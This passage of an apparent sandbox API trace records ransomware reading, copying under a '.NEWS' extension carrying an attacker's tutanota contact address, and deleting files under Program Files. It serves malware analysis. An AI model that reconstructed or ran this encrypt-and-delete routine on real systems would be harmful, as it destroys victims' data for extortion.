[0087.878] lstrlenW (lpString=".doc") returned 4 [0087.878] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0087.878] lstrlenW (lpString=".docx") returned 5 [0087.878] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0087.878] lstrlenW (lpString=".pdf") returned 4 [0087.878] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0087.878] lstrlenW (lpString=".xls") returned 4 [0087.878] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0087.878] lstrlenW (lpString=".xlsx") returned 5 [0087.878] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0087.878] lstrlenW (lpString=".ppt") returned 4 [0087.878] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0087.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.878] lstrlenW (lpString=".zip") returned 4 [0087.878] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0087.878] lstrlenW (lpString=".rar") returned 4 [0087.879] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0087.879] lstrlenW (lpString=".bz2") returned 4 [0087.879] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0087.879] lstrlenW (lpString=".7z") returned 3 [0087.879] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0087.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.879] lstrlenW (lpString=".dbf") returned 4 [0087.879] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0087.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.879] lstrlenW (lpString=".1cd") returned 4 [0087.879] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0087.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.879] lstrlenW (lpString=".jpg") returned 4 [0087.879] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0087.879] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0087.879] lstrlenW (lpString="msdia100.dll") returned 12 [0087.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0087.881] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=990032) returned 1 [0087.881] CloseHandle (hObject=0x364) returned 1 [0087.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0087.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0087.881] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.881] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0087.881] GetLastError () returned 0x0 [0087.881] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0xf1b50, lpOverlapped=0x0) returned 1 [0088.320] WriteFile (in: hFile=0x36c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf1b60, lpOverlapped=0x0) returned 1 [0088.337] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.337] WriteFile (in: hFile=0x36c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1 [0088.337] SetEndOfFile (hFile=0x36c) returned 1 [0088.974] CloseHandle (hObject=0x36c) returned 1 [0088.974] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.974] SetEndOfFile (hFile=0x364) returned 1 [0088.984] CloseHandle (hObject=0x364) returned 1 [0088.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.984] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.985] lstrlenW (lpString=".doc") returned 4 [0088.985] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.985] lstrlenW (lpString=".docx") returned 5 [0088.985] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0088.985] lstrlenW (lpString=".pdf") returned 4 [0088.985] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.985] lstrlenW (lpString=".xls") returned 4 [0088.985] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.985] lstrlenW (lpString=".xlsx") returned 5 [0088.985] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0088.985] lstrlenW (lpString=".ppt") returned 4 [0088.985] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.985] lstrlenW (lpString=".zip") returned 4 [0088.985] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.985] lstrlenW (lpString=".rar") returned 4 [0088.985] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.985] lstrlenW (lpString=".bz2") returned 4 [0088.985] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.985] lstrlenW (lpString=".7z") returned 3 [0088.985] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.985] lstrlenW (lpString=".dbf") returned 4 [0088.985] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.985] lstrlenW (lpString=".1cd") returned 4 [0088.985] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.985] lstrlenW (lpString=".jpg") returned 4 [0088.985] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.985] lstrlenW (lpString=".doc") returned 4 [0088.985] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.985] lstrlenW (lpString=".docx") returned 5 [0088.986] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0088.986] lstrlenW (lpString=".pdf") returned 4 [0088.986] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.986] lstrlenW (lpString=".xls") returned 4 [0088.986] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.986] lstrlenW (lpString=".xlsx") returned 5 [0088.986] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0088.986] lstrlenW (lpString=".ppt") returned 4 [0088.986] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.986] lstrlenW (lpString=".zip") returned 4 [0088.986] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.986] lstrlenW (lpString=".rar") returned 4 [0088.986] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.986] lstrlenW (lpString=".bz2") returned 4 [0088.986] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.986] lstrlenW (lpString=".7z") returned 3 [0088.986] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.986] lstrlenW (lpString=".dbf") returned 4 [0088.986] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.986] lstrlenW (lpString=".1cd") returned 4 [0088.986] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0088.986] lstrlenW (lpString=".jpg") returned 4 [0088.986] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.986] lstrcmpiW (lpString1=".tlb", lpString2=".NEWS") returned 1 [0088.986] lstrlenW (lpString="vstoee90.tlb") returned 12 [0088.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.380] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=22680) returned 1 [0089.380] CloseHandle (hObject=0x374) returned 1 [0089.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0089.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.381] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.381] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.381] GetLastError () returned 0x0 [0089.381] ReadFile (in: hFile=0x374, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x5898, lpOverlapped=0x0) returned 1 [0089.383] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x58a0, lpOverlapped=0x0) returned 1 [0089.384] ReadFile (in: hFile=0x374, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.384] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.384] SetEndOfFile (hFile=0x370) returned 1 [0089.385] CloseHandle (hObject=0x370) returned 1 [0089.385] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.385] SetEndOfFile (hFile=0x374) returned 1 [0089.386] CloseHandle (hObject=0x374) returned 1 [0089.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.386] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0089.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.386] lstrlenW (lpString=".doc") returned 4 [0089.386] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0089.386] lstrlenW (lpString=".docx") returned 5 [0089.386] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0089.386] lstrlenW (lpString=".pdf") returned 4 [0089.386] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0089.386] lstrlenW (lpString=".xls") returned 4 [0089.386] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0089.386] lstrlenW (lpString=".xlsx") returned 5 [0089.386] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0089.386] lstrlenW (lpString=".ppt") returned 4 [0089.386] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0089.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.386] lstrlenW (lpString=".zip") returned 4 [0089.386] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0089.386] lstrlenW (lpString=".rar") returned 4 [0089.387] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString=".bz2") returned 4 [0089.387] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString=".7z") returned 3 [0089.387] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0089.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.387] lstrlenW (lpString=".dbf") returned 4 [0089.387] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.387] lstrlenW (lpString=".1cd") returned 4 [0089.387] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.387] lstrlenW (lpString=".jpg") returned 4 [0089.387] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.387] lstrlenW (lpString=".doc") returned 4 [0089.387] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString=".docx") returned 5 [0089.387] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0089.387] lstrlenW (lpString=".pdf") returned 4 [0089.387] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString=".xls") returned 4 [0089.387] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0089.387] lstrlenW (lpString=".xlsx") returned 5 [0089.387] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0089.387] lstrlenW (lpString=".ppt") returned 4 [0089.387] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.387] lstrlenW (lpString=".zip") returned 4 [0089.387] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0089.387] lstrlenW (lpString=".rar") returned 4 [0089.387] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString=".bz2") returned 4 [0089.387] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0089.387] lstrlenW (lpString=".7z") returned 3 [0089.387] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0089.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.388] lstrlenW (lpString=".dbf") returned 4 [0089.388] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0089.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.388] lstrlenW (lpString=".1cd") returned 4 [0089.388] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0089.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0089.388] lstrlenW (lpString=".jpg") returned 4 [0089.388] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0089.388] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.388] lstrlenW (lpString="dt_shmem.dll") returned 12 [0089.388] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.389] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=29760) returned 1 [0089.389] CloseHandle (hObject=0x374) returned 1 [0089.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0089.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.389] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.389] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.389] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.389] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.389] GetLastError () returned 0x0 [0089.389] ReadFile (in: hFile=0x374, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x7440, lpOverlapped=0x0) returned 1 [0089.391] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x7450, lpOverlapped=0x0) returned 1 [0089.392] ReadFile (in: hFile=0x374, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.393] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.393] SetEndOfFile (hFile=0x370) returned 1 [0089.393] CloseHandle (hObject=0x370) returned 1 [0089.393] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.393] SetEndOfFile (hFile=0x374) returned 1 [0089.394] CloseHandle (hObject=0x374) returned 1 [0089.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.398] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1 [0089.398] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.398] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.398] lstrlenW (lpString=".doc") returned 4 [0089.398] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.398] lstrlenW (lpString=".docx") returned 5 [0089.398] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0089.398] lstrlenW (lpString=".pdf") returned 4 [0089.398] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.398] lstrlenW (lpString=".xls") returned 4 [0089.398] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.398] lstrlenW (lpString=".xlsx") returned 5 [0089.398] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0089.398] lstrlenW (lpString=".ppt") returned 4 [0089.399] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.399] lstrlenW (lpString=".zip") returned 4 [0089.399] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString=".rar") returned 4 [0089.399] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString=".bz2") returned 4 [0089.399] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.399] lstrlenW (lpString=".7z") returned 3 [0089.399] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.399] lstrlenW (lpString=".dbf") returned 4 [0089.399] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.399] lstrlenW (lpString=".1cd") returned 4 [0089.399] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.399] lstrlenW (lpString=".jpg") returned 4 [0089.399] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.399] lstrlenW (lpString=".doc") returned 4 [0089.399] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString=".docx") returned 5 [0089.399] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0089.399] lstrlenW (lpString=".pdf") returned 4 [0089.399] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString=".xls") returned 4 [0089.399] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString=".xlsx") returned 5 [0089.399] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0089.399] lstrlenW (lpString=".ppt") returned 4 [0089.399] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.399] lstrlenW (lpString=".zip") returned 4 [0089.399] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString=".rar") returned 4 [0089.399] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.399] lstrlenW (lpString=".bz2") returned 4 [0089.399] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.399] lstrlenW (lpString=".7z") returned 3 [0089.400] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.400] lstrlenW (lpString=".dbf") returned 4 [0089.400] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.400] lstrlenW 